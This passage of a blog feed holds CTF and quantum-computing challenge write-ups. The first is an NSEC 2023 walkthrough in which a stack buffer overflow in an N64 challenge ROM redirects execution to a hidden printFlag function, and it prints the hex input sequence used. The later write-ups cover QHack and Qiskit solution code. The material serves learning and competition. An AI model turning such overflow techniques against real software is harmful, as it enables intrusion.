arbitrary execution. Last, but certainly not least, since this was in-person-first, while we could work on the general proof-of-concept using emulation, the final exploit had to be done in-person, using a physical “Game Station” (N64) with the controller I grew up holding in my hands. I won’t lie and say it brought back some nostalgia while executing. Happy to say I also stepped up my own abilities this year - not only was I was successful in the Document Dropper 2 exploitation, but I was quick enough to snag first blood on both challenges! Now, let’s dive into the details. Initial Setup &amp; Analysis Having gone through some initial setup in last year’s NSEC CTF (NSEC 2022 - N64 RE) I had a few tools already available to start diving into the challenge. Before we go too far however, I booted up Doc Dropper 2 and took a look at what we would be doing. Ok, simple enough; directional arrows, Z to drop off a doc, and then R basically submits our previous entries. The only extra thing I did at this point was to see how many documents we could drop off; it would not increment past 64. My first thought was that we would need to find the right combination, similar to 2022, that would print out our flag. With that presumption I moved over to Ghidra analysis. Memory Debugging There were two parts I did to make my life easier here. Both were previously covered in the 2022 writeup, however I’ll summarize them here: N64LoaderWV - Allows for better quality of life when analyzing N64 roms in Ghidra. Fun fact, I actually had to drop down to Ghidra 10.2.3 to use the plugin since it hasn’t been updated to 10.3 yet. ImportSymbolsScript.py - Ghidra script allowing us to import the debug symbol files (the *.out files) that were also provided. Required leveraging readelf and reversing the data in the line, but nothing crazy and we now have symbols available. With the prep work done, loaded the first rom and took a look at what we had. The first thing I found was the updateGame functions. The first was relatively boring, transitioning from the main menu to the actual game. The second, at least initially, controlled the input mapping and logic. That seems a bit more interesting. Let’s keep going. What about that prepareHistory function? Did you see it yet? If not, no worries we will get back to this later. Lastly, let’s take a look at the printHistory. Hovering over the memory we can see that this is what is actually printing our document location history (the symbol line showing what is actually printed). Ok, great, we have a bit better understanding how the game works, but there is one last thing that I found, and this was VERY interesting. Oh, ho ho… what do we have here?! A printFlag function, that isn’t referenced anywhere in code. The text was ominous, but also really cool, since it wasn’t initially mentioned (or if it was, I missed it), that we would need to execute the exploit in person. This just made me want to complete it all the more! We should have enough to get started, let’s get cracking on a proof of concept. Challenge 1 POC Enter Project64 debug mode! While poking around I was keeping an eye on memory. The commands pane was less useful here in challenge 1, however made an appearance for the next one. First thing I wanted to do was see what happens, both at runtime and in memory, when I fill up the document buffer. Now that’s what I’m talking about! We have the ability to control execution path! For anyone confused as to why this happens? Let’s go back to our prepareHistory function, this time with a few highlights. So remember that our index goes up to 64 right? Well the prepareHistory function iterates through our entire document history (up to the 64 byte index) and tries to cram it into auStack_18, which is only 24 bytes long. Challenge 1 - Completion With an approach, time to see if overwriting the memory directly to the printFlag function works. While I initially did do it by hand, I was very happy that Project64 allows for direct modification of memory during runtime. Copy-pasting that memory test saved a lot of time. Bam! There we go! Alright, alright, now time to cash in hopefully and execute the payload physically. I have to admit, having to wait an hour to be able to do it added to anxiety. With the Game Station prepped, I had to PAINSTAKINGLY enter the code address by address. In all I think it took close to 10 mins to enter it. However, when I pressed print I was relieved to see part of a flag! Fistbumps all around with a few of the NSEC mods for the first successful attempt of the CTF and it was quick to go back and work on the second part! Challenge 2 - Analysis Booting up the second rom, I was initially a little confused - it looked like the first. Analyzing through Ghidra I was also seeing the same functions. Until that is, I got to the printFlag function. Aha, there are a few logical checks. We can’t just spray and pray like the first challenge and we will need to be a bit more tactical. Off to the debugger! Project64 Debugging In this case I ended up using the memory addresses for the comparisons I got from Ghidra, and adding breakpoints in Project64’s Commands pane. This allowed me to step through the execution using the exploit from the first challenge and figuring out exactly which memory address corresponded to each compare in printFlag, adjusting the exploit code as needed. I did a best guess first pass of the comparisons and I initially messed up local_f however this provided a good example of how to step through the debugger to compare using the breakpoints previously set. As I stepped through and identified the proper memory address I also added a symbol within Project64. First compare - success Second compare - failure Third compare - success Fourth compare - success Fifth compare - success Sixth compare - success Seventh compare - success The overall fail compare since the failure register had been incremented from the second compare. Challenge 2 - POC Adjusting for that one failure, the updated exploit code from the first challenge then became: 58F519AB 200179EC 790279EC 800279EC 800279EC 800279EC 800279EC 800279EC 800279EC 800279EC 800279EC 800279EC 800279EC 800279EC 800279EC 800279EC 40 All that was left was to confirm it worked properly on the emulator. Bam! Alright, one more round at the Game Station to do it in person annnnnnndddddd… I typo’d an entry somewhere and it didn’t work. After a painstaking extra 10 mins or so to enter it a second time… thankfully the second submission was good to finish off first blood on the track! Phew… what a journey. Wrap-Up Conclusion As with previous years I thoroughly enjoyed the “Game Station” track. What really added to the overall experience was that this year was not just about “breaking the code” as it was with 2022. This year’s edition went a step further with executing a buffer overflow in the game code, calling the unreferenced function. Then, having to do the actual exploit in-person, physically, was magical. The stress levels of putting in the addresses using an N64 controller (which I hadn’t mentioned but was inverted to the emulator, since you can remap an emulator…) was only exceeded by the level of excitement and sheer “f’ yeah!” I felt having completed it sitting next to Zack &amp; Phil - two legends who’s challenges I have been attempting (both successfully and…otherwise) over the years. The experience is something I will never forget. Here’s to prepping for NSEC 2024 already! Thanks folks, until next time!" }, { "title": "QHack 2023 - Fall of Sqynet Track", "url": "/quantum-computing/2023/03/07/xanadu-qhack2023/", "categories": "quantum-computing", "tags": "pennylane, quantum-computing, quantum challenge, quantum machine learning", "date": "2023-03-07 17:00:00 -0500", "content": "Introduction QHack 2023 built up structurally on the 2022 version. Last year’s QHack established a categorizing of coding challenge into various tracks of increasing difficulty. This year, the tracks: Office Hijinks, Bending Bennett, Fall of Sqynet, and Tales of Timbits, were interwoven in a cohesive storyline that similarly progressed in complexity within each track. This year also leveraged the new challenge portal introduced during the 2022 Pennylane Code Camp, allowing groups of up to four to tackle the coding challenges. In this writeup I will provide a brief summary of the Fall of Sqynet track, which I found particularly compelling for several reasons. Firstly, it had a consistent technical focus, introducing us to Hamiltonians, time evolutions, Trotterization, Ising spin chains, and Variational Quantum Eigensolvers (VQE) over the course of five challenges. Secondly, what struck me about this track was not only the coherence of the challenges themselves, but also the opportunity to comprehend a recently published paper after completing the challenges. As someone without an academic background, this highlighted one of the key benefits of participating in events such as QHack and allowed me some insight into how the knowledge we learned during the course of these challenges can be applied practically. Let’s dive into the Fall of Sqynet track to start. Sqynet 100 Solving problems has always been fun for me. Understanding how something works, and diving into the details. When you add an interesting narrative around that learning process, the experience is only elevated. That is how I would describe the Fall of Sqynet track with the following introduction. With the backstory set we are introduced to two initial concepts that will set the technical base across all the track’s challenges. Hamiltonian In quantum mechanics, the Hamiltonian of a system is an operator corresponding to the total energy of that system, including both kinetic energy and potential energy. This will become more evident as we move forward, however we can approach the challenge thinking of it as an observable of a quantum system that measures its total energy. Trotterization An approach which segments an exponentiated matrix. into a series of smaller exponentiated matrices with minimal error. Which simplified means that stepping through the evolution of a Hamiltonian in discrete periods of time reduces measurement errors by reducing the time periods. Since the spin-chain model of Sqynet has operators that do not commute, we can approximate U as: $$U(t) \\approx \\prod_{j=1}^n \\prod_{i=1}^k \\exp(-iH_{i}t/n)$$ And the Trotterized approximation can be represented as: Our first challenge is to model this simplified Hamiltonian for Trotterization. We are provided the alpha and beta angle rotations, and need to take into consideration the overall time against the amount of iterations (depth). We are given an initial hint of looking at the built-in Pennylane functions IsingXX and IsingZZ for guidance. Additionally, I explored Trotterization in my previous Qiskit event Spring 2022 writeup which also provided background information on how to approach it. @qml.qnode(dev) def trotterize(alpha, beta, time, depth): \"\"\"This quantum circuit implements the Trotterization of a Hamiltonian given by a linear combination of tensor products of X and Z Pauli gates. Args: alpha (float): The coefficient of the XX term in the Hamiltonian, as in the statement of the problem. beta (float): The coefficient of the YY term in the Hamiltonian, as in the statement of the problem. time (float): Time interval during which the quantum state evolves under the interactions specified by the Hamiltonian. depth (int): The Trotterization depth. Returns: (numpy.array): The probabilities of each measuring each computational basis state. \"\"\" # Put your code here # #### Pennylane built-in approach #for i in range(depth): # qml.IsingXX(alpha) # qml.IsingZZ(beta) ######################## #### Qiskit approach to Trotterization from previous writeup #ZZ_qc.cnot(0,1) #ZZ_qc.rz(2 * t, 1) #ZZ_qc.cnot(0,1) #XX_qc.h(0) #XX_qc.h(1) #XX_qc.append(ZZ, [0,1]) #XX_qc.h(0) #XX_qc.h(1) ######################## # Direct Solution flipping above since we are # interested in XX then ZZ for i in range(depth): qml.Hadamard(wires=0) qml.Hadamard(wires=1) qml.CNOT(wires=[0,1]) qml.RZ(2*alpha*(time/depth),wires=1) qml.CNOT(wires=[0,1]) qml.Hadamard(wires=0) qml.Hadamard(wires=1) qml.CNOT(wires=[0,1]) qml.RZ(2*beta*(time/depth),wires=1) qml.CNOT(wires=[0,1]) # Return the probabilities return qml.probs(wires=[0,1]) Submitting the code we are presented with a nice message. And with that we are off on the journey to bring down the rogue, sentient Quantum Computer. Sqynet 200 Moving on to the next step of toppling Sqynet, we are explained that Sqynet’s Hamiltonian can be described as a linear combination of Unitaries. $$H = \\sum_i \\alpha_i U_i$$ But we are reminded that a sum of Unitaries is not necessarily itself unitary. To be able to implement this sum, we need to leverage quantum circuit measurements. We can leverage a single qubit unitary to deterministically apply one of two Unitaries. The challenge of this notebook is that, given alpha, beta, and the two Unitaries U and V, to implement the circuit above which will be used to model Sqynet in the effort to take it down. For the Unitary W we are provided the matrix representation. We can then directly create the unitary representation and have that passed back through the function call. def W(alpha, beta): \"\"\" This function returns the matrix W in terms of the coefficients alpha and beta Args: - alpha (float): The prefactor alpha of U in the linear combination, as in the challenge statement. - beta (float): The prefactor beta of V in the linear combination, as in the challenge statement. Returns -(numpy.ndarray): A 2x2 matrix representing the operator W, as defined in the challenge statement \"\"\" # Put your code here # result = np.array([[np.sqrt(alpha)/np.sqrt(alpha+beta), -np.sqrt(beta)/np.sqrt(alpha+beta)], \\ [np.sqrt(beta)/np.sqrt(alpha+beta), np.sqrt(alpha)/np.sqrt(alpha+beta)]]) # Return the real matrix of the unitary W, in terms of the coefficients. return result dev = qml.device('default.qubit', wires = 2) With the W unitary function created, it’s now a matter of recreating the circuit we were introduced with. The process is straightforward using Pennylane’s built in QubitUnitary, ControlledQubitUnitary, and adjoint functions to put it all together. dev = qml.device('default.qubit', wires = 2) @qml.qnode(dev) def linear_combination(U, V, alpha, beta): \"\"\"This circuit implements the circuit that probabilistically calculates the linear combination of the unitaries. Args: - U (list(list(float))): A 2x2 matrix representing the single-qubit unitary operator U. - V (list(list(float))): A 2x2 matrix representing the single-qubit unitary operator U. - alpha (float): The prefactor alpha of U in the linear combination, as above. - beta (float): The prefactor beta of V in the linear combination, as above. Returns: -(numpy.tensor): Probabilities of measuring the computational basis states on the auxiliary wire. \"\"\" # Put your code here # qml.QubitUnitary(W(alpha, beta), wires=0) qml.ControlledQubitUnitary(U, control_wires=[0], wires=1, control_values='0') qml.ControlledQubitUnitary(V, control_wires=[0], wires=1, control_values='1') qml.adjoint(qml.QubitUnitary)(W(alpha, beta), wires=0) # Return the probabilities on the first wire return qml.probs(wires=0) All that was left is to submit the circuit to the grader and get the results back. Sqynet 300 We have Sqynet modeled. The next step, or challenge, we are presented with is establishing the ground state of Sqynet’s Hamiltonian. By modeling the Hamiltonian state, being able to Trotterize through the time evolution, and establishing the ground state of the system, we should be able to better understand how Sqynet operates, and hopefully, how we can disrupt it. Given the photon loss rate gamma, and the de-excitation probability p, and that Sqynet starts in a state of superposition, we are tasked with calculating the half-life of measuring 1, which means that the measurement probability is 0.25. Modeling the GAD approach is only the first step in solving this challenge, however it is a fundamental step. Since we will be iterating through many time-slices, represented by iterations below, we need to first come up with a generic function. @qml.qnode(dev) def noise(gamma,p,iterations): \"\"\"Implement the sequence of Generalized Amplitude Damping channels in this QNode You may pass instead of return if you solved this problem analytically, it's possible! Args: gamma (float): The probability per unit time of the system losing a quantum of energy to the environment. Returns: (float): The relaxation half-life. \"\"\" # Don't forget to initialize the state # Put your code here # prep = np.array([1/np.sqrt(2), 1/np.sqrt(2)]) qml.QubitStateVector(prep, 0) for i in range(iterations): qml.GeneralizedAmplitudeDamping(gamma, p, 0) return qml.probs(wires=0) How I approached solving for the best time T was to increment through time slices of 0.1, and using a sufficiently large amount of time-deltas, in this case 200, find the time slice that most closely arrived at 0.25. There was a measure of trial and error in getting the right values, but thankfully the following approach completed within the challenge timing restrictions. # Write any subroutines you may need to find the relaxation time here delta_time = 0.1 delta_increments=200 time_steps = 150 time_start=0.0 results=[] ## iterate through 0.1, 0.2, 0.3, etc... for j in range(1,time_steps): time_start+=0.1 #print(f\"STARTING {time_start}\") gamma_new=gamma * (time_start/delta_increments) result = noise(gamma_new,p,delta_increments) ## Add result to comparison list results.append([time_start,result[1]]) #set initial values on what we are looking for what_to_return = 0.0 comparison=0.25 current_delta=0.5 current_value=0.0 ##Iterate through and find closest end value, and then return that Time half-life for i in results: if (np.abs(comparison - i[1]) &lt;= current_delta): current_delta = np.abs(comparison - i[1]) current_value = i[1] what_to_return = i[0] print(f\"time: {what_to_return}, halfl_value: {current_value}\") return what_to_return # Return the relaxation half-life Sqynet 400 In this challenge the difficulty is ramped up. Not because we will be exploring a concept we haven’t so far, in fact we will ultimately be modeling a Hamiltonian time evolution similar to how we have previously. The challenge will be that we need to create the Hamiltonian using only the basic gates RX, RY, RZ, and CNOT. Additionally, we are interested in seeing the impact of noise being introduced to the system (the hypothetical missiles being fired), therefore we will also be experimenting with Depolarizing channels in the quantum circuit. Given the coefficients of the couplings, the depolarizing probability, and the time/depth for Trotterization, we need to create a circuit that returns the fidelity between the noiseless and noisy circuits. Before we get to the code, we need to introduce the concept of fidelity. Fidelity In quantum mechanics, notably in quantum information theory, fidelity is a measure of the \"closeness\" of two quantum states. It expresses the probability that one state will pass a test to identify as the other. Pennylane Built-In One of the reasons we are challenged with building the circuit using only RX, RY, RZ, and CNOT gates is that Pennylane has a built-in function that essentially solves this challenge for us - ApproxTimeEvolution. I ended up using the function to model the initial solution and reverse engineer, alongside the information from the first challenge in the track, to create the noisy model. As part of the solution check function, we are provided with the noiseless circuit, which leverages ApproTimeEvolution. I started with printing out this circuit. def check(solution_output: str, expected_output: str) -&gt; None: \"\"\" Compare solution with expected. Args: solution_output: The output from an evaluated solution. Will be the same type as returned. expected_output: The correct result for the test case. Raises: ``AssertionError`` if the solution output is incorrect in any way. \"\"\" def create_hamiltonian(params): couplings = [-params[-1]] ops = [qml.PauliX(3)] for i in range(3): couplings = [-params[-1]] + couplings ops = [qml.PauliX(i)] + ops for i in range(4): couplings = [-params[-2]] + couplings ops = [qml.PauliZ(i)@qml.PauliZ((i+1)%4)] + ops for i in range(4): couplings = [-params[-3]] + couplings ops = [qml.PauliY(i)@qml.PauliY((i+1)%4)] + ops for i in range(4): couplings = [-params[0]] + couplings ops = [qml.PauliX(i)@qml.PauliX((i+1)%4)] + ops print(f\"couplings: {couplings}\\n ops:\\n{ops}\") return qml.Hamiltonian(couplings,ops) Otherwise written: # (-0.9143891828606319) [X2] #+ (-0.9143891828606319) [X1] #+ (-0.9143891828606319) [X0] #+ (-0.9143891828606319) [X3] #+ (-2.0058890512703593) [X3 X0] #+ (-2.0058890512703593) [X2 X3] #+ (-2.0058890512703593) [X1 X2] #+ (-2.0058890512703593) [X0 X1] #+ (-2.0052832468022497) [Z3 Z0] #+ (-2.0052832468022497) [Z2 Z3] #+ (-2.0052832468022497) [Z1 Z2] #+ (-2.0052832468022497) [Z0 Z1] #+ (-1.2728052538194878) [Y3 Y0] #+ (-1.2728052538194878) [Y2 Y3] #+ (-1.2728052538194878) [Y1 Y2] #+ (-1.2728052538194878) [Y0 Y1] Now this itself is useful, and we could proceed with using decompositions of IsingXX,IsingYY,IsingZZ, however how I want to cover how I approached it for a few lessons learned. The first, was that ApproxTimeEvolution has a function, .decomposition() that allows us to print out the actual circuit similar to the Ising Hamiltonian above. ... qml.ApproxTimeEvolution(create_hamiltonian(params), time, depth).decomposition() return qml.state() solution_output = json.loads(solution_output) expected_output = json.loads(expected_output) tape = heisenberg_trotter.qtape names = [op.name for op in tape.operations] random_params = np.random.uniform(low = 0.8, high = 3.0, size = (4,) ) #def evolve(params, time, depth): print(f\"\\n=============================\\nDEFAULT CIRCUIT\\n=============================\") print(qml.draw(evolve)([1,2,1,0.3],2.5,1)) While I could have gone through the same manual break down of the RXX, RYY, RZZ gates, I had previous experience with Qiskit’s transpile. Setting the gate that I was interested in (rx, ry, rz, cx), transpile was able to breakdown the original circuit to one we were restricted to using. Pennylane Decomposed Circuit All that was left was to codify the circuit back into our notebook and submit it, making sure to create our custom noisy-CNOT gate. def CNOT_N(w1,w2,p): qml.CNOT(wires=[w1,w2]) qml.DepolarizingChannel(p, wires=[w2]) def hamiltonian_create(couplings, p): qml.RY(np.pi/2,wires=0) qml.RY(np.pi/2,wires=1) qml.RY(np.pi/2,wires=2) qml.RY(np.pi/2,wires=3) qml.RX(np.pi,wires=0) qml.RX(np.pi,wires=1) qml.RX(np.pi,wires=2) qml.RX(np.pi,wires=3) CNOT_N(0,3,p) qml.RX(couplings[0],wires=3) CNOT_N(0,3,p) CNOT_N(2,3,p) qml.RX(couplings[0],wires=3) CNOT_N(2,3,p) CNOT_N(1,2,p) qml.RX(couplings[0],wires=2) CNOT_N(1,2,p) CNOT_N(0,1,p) qml.RX(couplings[0],wires=1) CNOT_N(0,1,p) qml.RZ(-np.pi/2,wires=0) qml.RZ(-np.pi/2,wires=1) qml.RZ(-np.pi/2,wires=2) qml.RZ(-np.pi/2,wires=3) qml.RY(np.pi/2,wires=0) qml.RY(np.pi/2,wires=1) qml.RY(np.pi/2,wires=2) qml.RY(np.pi/2,wires=3) CNOT_N(0,3,p) qml.RZ(couplings[1],wires=3) CNOT_N(0,3,p) CNOT_N(2,3,p) qml.RZ(couplings[1],wires=3) CNOT_N(2,3,p) CNOT_N(1,2,p) qml.RZ(couplings[1],wires=2) CNOT_N(1,2,p) CNOT_N(0,1,p) qml.RZ(couplings[1],wires=1) CNOT_N(0,1,p) qml.RX(-np.pi/2,wires=0) qml.RX(-np.pi/2,wires=1) qml.RX(-np.pi/2,wires=2) qml.RX(-np.pi/2,wires=3) CNOT_N(0,3,p) qml.RZ(couplings[2],wires=3) CNOT_N(0,3,p) CNOT_N(2,3,p) qml.RZ(couplings[2],wires=3) CNOT_N(2,3,p) CNOT_N(1,2,p) qml.RZ(couplings[2],wires=2) CNOT_N(1,2,p) CNOT_N(0,1,p) qml.RZ(couplings[2],wires=1) CNOT_N(0,1,p) qml.RX(couplings[3],wires=0) qml.RX(couplings[3],wires=1) qml.RX(couplings[3],wires=2) qml.RX(couplings[3],wires=3) Sqynet 500 The time has come. This is where our protagonists Zenda and Reece take down Sqynet. We will be aggregating all the techniques we have learned so far in this track then apply them to a Variational Quantum Eigensolver (VQE) to get the ground state of Sqynet’s magnetic field. We are then presented that Sqynet’s spin chain model can be represented as a transverse Ising Hamiltonian. This is slightly different than the hamiltonian we worked on earlier in the track, so it is worth defining explicitly. Transverse Ising Hamiltonian The transverse field Ising model is a quantum version of the classical Ising model. It features a lattice with nearest neighbour interactions determined by the alignment or anti-alignment of spin projections along the z axis, as well as an external magnetic field perpendicular to the z axis (without loss of generality, along the x axis) which creates an energetic bias for one x-axis spin direction over the other. Which written out mathematically becomes: $$H = -\\sum_{i=1}^N Z_i \\otimes Z_{i+1} - h\\sum_{i}^N X_i$$ Similar to the 400-level challenge, we can break down this into a few distinct approaches. First, let’s model the Hamiltonian based on the given structure. We did this previously and the approach does not change. def create_Hamiltonian(h): \"\"\" Function in charge of generating the Hamiltonian of the statement. Args: h (float): magnetic field strength Returns: (qml.Hamiltonian): Hamiltonian of the statement associated to h \"\"\" ###################### # Put your code here # ops = [qml.PauliX(3)] couplings = [-h] for i in range(3): couplings = [-h] + couplings ops = [qml.PauliX(i)] + ops for i in range(4): couplings = [-1] + couplings ops = [qml.PauliZ(i)@qml.PauliZ((i+1)%4)] + ops return qml.Hamiltonian(couplings,ops) ###################### The next step involves setting up the ansatz that will be used during the training step. I initially approached this with trying to make manual Rx/Ry however, once setting up the training process, I found that using the built-in functions for feature embedding worked slightly better. Again I enjoyed the challenge of learning what was being done at a base, while also being introduced to more “productionized” functions that allow us to focus on the implementation. @qml.qnode(dev) def model(params, H): \"\"\" To implement VQE you need an ansatz for the candidate ground state! Define here the VQE ansatz in terms of some parameters (params) that create the candidate ground state. These parameters will be optimized later. Args: params (numpy.array): parameters to be used in the variational circuit H (qml.Hamiltonian): Hamiltonian used to calculate the expected value Returns: (float): Expected value with respect to the Hamiltonian H \"\"\" ###################### qml.templates.QAOAEmbedding(features=[1.,2.,3.,4.], weights=params, wires=dev.wires) return qml.expval(H) ###################### As alluded to, the last part was setting up the training loop. def train(h): \"\"\" In this function you must design a subroutine that returns the parameters that best approximate the ground state. Args: h (float): magnetic field strength Returns: (numpy.array): parameters that best approximate the ground state. \"\"\" ###################### # Put your code here # H = create_Hamiltonian(h) params = np.random.random(qml.templates.QAOAEmbedding.shape(n_layers=4, n_wires=4)) print(f\"init_params: {params}\") energy = model(params, H) print(f\"init_energy: {energy}\") opt = qml.GradientDescentOptimizer() for i in range(1000): params = opt.step(lambda w : model(w, H), params) #print(f\"params_iteration: {params}\") energy = model(params, H) print(f\"energy_iteration: {energy}\") print('Final value of the ground-state energy = {:.8f}'.format(energy)) return params ###################### With the process coded up, let’s see how it works out. With the public test cases passing we give the challenge submission a go to see if we are similarly successful. And with that, we have helped Zenda and Reece model, disrupt, and ultimately defeat Sqynet. Reflective Summary &amp; Relevance I thoroughly enjoyed the Sqynet track of QHack 2023. In of itself it was a cohesive learning journey that built up on techniques and approaches, leading me to feel a sense of enlightenment on a topic I had only explored through other events. What was interesting to me was the intersection of this challenge track and a specific 2301.02666 paper that was brought to my attention around the same time. I’ll leave the analysis of the paper, and the approach the authors discuss, out of this article, however the coincidental crossover really illustrated how events like QHack, while providing a fun, gamified learning experience, also have direct relevance to research coming out of the industry. The paper uses a Hamiltonian model and ground-state approach that matches up with what we explored in the Sqynet track. The conditional operations representing the linear combination of Unitaries also matches with what we explored. By the end of the paper I made a mental comment of “wow, a few years ago I would have struggled to follow what they were doing”. Without any formal training in either Quantum Mechanics or Quantum Computing and a few years of hands-on, gamified learning events combined with an innate stubbornness for learning, and all that has changed. If there was any doubt on whether these types of events are relevant and useful, I hope this writeup has convinced you to roll up your sleeves and dive right in. Thanks folks, until next time!" }, { "title": "Qiskit Quantum Challenge - Fall 2022", "url": "/quantum-computing/2023/02/26/qiskit-fall2022/", "categories": "quantum-computing", "tags": "", "date": "2023-02-26 08:00:00 -0500", "content": "Introduction The IBM Quantum Challenge Fall 2022 runs from 9:00 a.m. US Eastern on Friday, November 11 until 9:00 a.m. US Eastern on Friday, November 18, and will focus on two trailblazing offerings unveiled by IBM Quantum in recent years: Qiskit Runtime and Primitives. Participants in this year’s Fall Challenge will enjoy eight days of learning, exploring the most promising applications in quantum computing through special missions distributed across four levels of ascending difficulty Qiskit’s Fall 2022 event focused on two new offerings: Primitives - foundational, elementary, building blocks for users to perform quantum computations, developers to implement quantum algorithms, and researchers to solve complex problems and deliver new applications. Runtime - the Qiskit Runtime service has been built on the concept of containerized execution; an execution model, where you have multiple elements of computation packaged and run portably on any system. In what has turned out to be one of the best narratives during these Quantum events, the Qiskit Fall 2022 event put us in the captain’s seat of the Earth’s first faster-than-light starship solving quantum-inspired problems in an attempt to keep the crew safe along the mission. This was my first experience with Qiskit’s Primitives and Runtime execution and I can see the benefit of using this type of workload management, especially when experimenting with many iterations of small variations. Without any further ado, let’s jump into the challenges. Lab1 - Qiskit Runtime and Primitives Bernstein Vazirani The first lab is all about learning the fundamentals of Primitives and how to practically use them. Before we jump right into that however, we are presented with the background of the Bernstein Vazirani function. The Bernstein Vazirani function is a fundamental quantum algorithm which showed that there can be advantages in using a quantum computer as a computational tool for more complex problems. Having been stepped through a concrete example, our first challenge was to define a BV function that could work for any “hidden string”. def bernstein_vazirani(string): # Save the length of string string_length = len(string) # Make a quantum circuit qc = QuantumCircuit(string_length+1, string_length) # Initialize each input qubit to apply a Hadamard gate and output qubit to |-&gt; qc.h(string_length) qc.z(string_length) for i in range(string_length): qc.h(i) # Apply an oracle for the given string # Note: In Qiskit, numbers are assigned to the bits in a string from right to left string = string[::-1] # reverse s to fit qiskit's qubit ordering for q in range(string_length): if string[q] == '0': qc.i(q) else: qc.cx(q, string_length) # Apply Hadamard gates after querying the oracle for i in range(string_length): qc.h(i) # Measurement qc.measure(range(string_length), range(string_length)) return qc Sampler &amp; Parameterized Circuits The next concept we are introduced to is parameterized circuit - which in this case allows us to dynamically bind P-gate rotations to the sample circuit. We combine this with an introduction to using Sampler and passing our circuit through Runtime. theta = Parameter('theta') qc = QuantumCircuit(2,1) qc.x(1) qc.h(0) qc.cp(theta,0,1) qc.h(0) qc.measure(0,0) qc.draw() options = Options(simulator={\"seed_simulator\": 42}, resilience_level=0) # Do not change values in simulator circuits = [qc.bind_parameters({theta: theta_val}) for [theta_val] in individual_phases] with Session(service=service, backend=backend): sampler = Sampler(options=options) job = sampler.run(circuits=circuits) result = job.result() from qc_grader.challenges.fall_2022 import grade_lab1_ex2 grade_lab1_ex2(result) # Expected result type: SamplerResult Estimator With the basics covered, we jump into a multi-step exercise to explore how we can pass multiple sets of parameters and circuits to Estimator and execute it once to gather the expectation values. # Make three random circuits using RealAmplitudes psi1 = RealAmplitudes(5, reps=2) psi2 = RealAmplitudes(5, reps=3) psi3 = RealAmplitudes(5, reps=4) # Make hamiltonians using SparsePauliOp H1 = SparsePauliOp.from_list([(\"IIZXI\", 1), (\"YIIIY\", 3)]) H2 = SparsePauliOp.from_list([(\"IXIII\", 2)]) H3 = SparsePauliOp.from_list([(\"IIYII\", 3), (\"IXIZI\", 5)]) # Make a random list for theta between 0 and 1 theta1 = np.linspace(0, 1, 15) theta2 = np.linspace(0, 1, 20) theta3 = np.linspace(0, 1, 25) # Use the Estimator to calculate each expectation value with Session(service=service, backend=backend): options = Options(simulator={\"seed_simulator\": 42}, resilience_level=0) # Do not change values in simulator estimator = Estimator(options=options) job = estimator.run(circuits=[psi1,psi2,psi3],parameter_values=[theta1,theta2,theta3],observables=[H1,H2,H3]) result = job.result() Quantum Error Mitigation &amp; Suppression The last part of the first lab was to explore error mitigation and suppression in context of Qiskit Runtime. Sampler &amp; M3 Qiskit Sampler allows us to leverage M3 (Matrix-free measurement mitigation) error mitigation routines. As part of the lab we are given a quick background into noise and M3. M3 works in a reduced subspace that is defined by the noisy input that need to be corrected. Since the input can be smaller than the full dimensionality of Hilbert space, the resulting linear system of equations is much easier to solve. $$(\\overset{\\sim}{A})^{-1}\\overset{\\sim}{A}\\vec{p}_{ideal} = (\\overset{\\sim}{A})^{-1}\\vec{p}_{noisy} $$ All that is left is putting the M3 approach to code and testing it out. from qiskit.providers.fake_provider import FakeManila from qiskit_aer.noise import NoiseModel # Import FakeBackend fake_backend = FakeManila() noise_model = NoiseModel.from_backend(fake_backend) # Set options to include noise_model options = Options(simulator={ \"noise_model\": noise_model, \"seed_simulator\": 42, }, resilience_level=0) # Set options to include noise_model and resilience_level options_with_em = Options( simulator={ \"noise_model\": noise_model, \"seed_simulator\": 42, }, resilience_level=1 ) with Session(service=service, backend=backend): sampler = Sampler(options=options) job = sampler.run(circuits=[qc]*len(phases), parameter_values=individual_phases) param_results = job.result() prob_values = [1-dist[0] for dist in param_results.quasi_dists] sampler = Sampler(options=options_with_em) job = sampler.run(circuits=[qc]*len(phases), parameter_values=individual_phases) param_results = job.result() prob_values_with_em = [1-dist[0] for dist in param_results.quasi_dists] Estimator &amp; ZNE We were then introduced to Zero-Noise Extrapolation error mitigation and explored how to implement it using Qiskit Estimators. With ZNE a quantum program is altered to run at different effect levels of processor noise. The result of the computation is extrapolated to an estimated value at a noiseless level. There several methods for estimating the value: Of which Qiskit implements the digital approach. # Set options to activate T-Rex Error Mitigation module options_with_em = Options( simulator={ \"noise_model\": noise_model, \"seed_simulator\": 42, }, resilience_level=1 # You may change the value here. resilience_level = 1 will activate TREX ) with Session(service=service, backend=backend): estimator = Estimator(options=options) job = estimator.run(circuits=[qc_no_meas]*len(phases), parameter_values=individual_phases, observables=[ZZ]*len(phases)) param_results = job.result() exp_values = param_results.values estimator = Estimator(options=options_with_em) job = estimator.run(circuits=[qc_no_meas]*len(phases), parameter_values=individual_phases, observables=[ZZ]*len(phases)) param_results = job.result() exp_values_with_em = param_results.values Lab2 - Quantum Machine Learning The focus of the second lab is to implement the previously learned M3 error mitigation to various machine learning applications. Before we jump straight into error mitigation however the notebook goes over the basics of quantum machine learning, specifically data embedding and ansatz. In quantum machine learning, a quantum feature map transforms $\\vec{x} \\rightarrow | \\phi(\\vec{x})\\rangle$ using a unitary transformation $\\vec{U_\\phi}(\\vec{x})$, which is typically a parameterized quantum circuit. Parametrized quantum circuits in quantum machine learning tend to be used for encoding data and as a quantum model. Their parameters are determined by the data being encoded and optimization process. They can generate a key subset of the states within the output Hilbert space and it allows them to be used as machine learning model Throughout this notebook we will be using a RealAmplitudes 2-local ansatz: At which point we are given a sample data which we need to embed in a quantum circuit we define. from qiskit.circuit.library import RealAmplitudes def lab2_ex1(): # build your code here qc = QuantumCircuit(4) qc = RealAmplitudes(4, entanglement='pairwise',reps=1) # return qc qc = lab2_ex1() encode = qc.bind_parameters(sample_train[0]) encode.measure_all() encode.decompose().draw(\"mpl\") We then ran our circuit on an ideal and noisy simulator to see the effects of the noise on our output. We will be using this as a base measurement, and then work on incorporating error mitigation to see the overall impact. Adding in the M3 mitigation similarly to the first notebook: # Do not change the seed of simulatior in Options options = Options(simulator={\"seed_simulator\": 1234},resilience_level=0) shots = 10000 with Session(service=service, backend=backend): sampler = Sampler(options=options) job = sampler.run(circuits=[qc], parameter_values=[sample_train[0]], shots=shots) samples_sim = job.result() Once we run this mitigated approach on the noisy backend we can then compare the approaches and see the accuracy differences between them all: Where fidelity is the closeness of two quantum states. Given two states $|\\psi\\rangle = U|0\\rangle$ and $|\\varphi\\rangle = V|0\\rangle$ generated by the unitaries $U$ and $V$, the fidelity is defined as 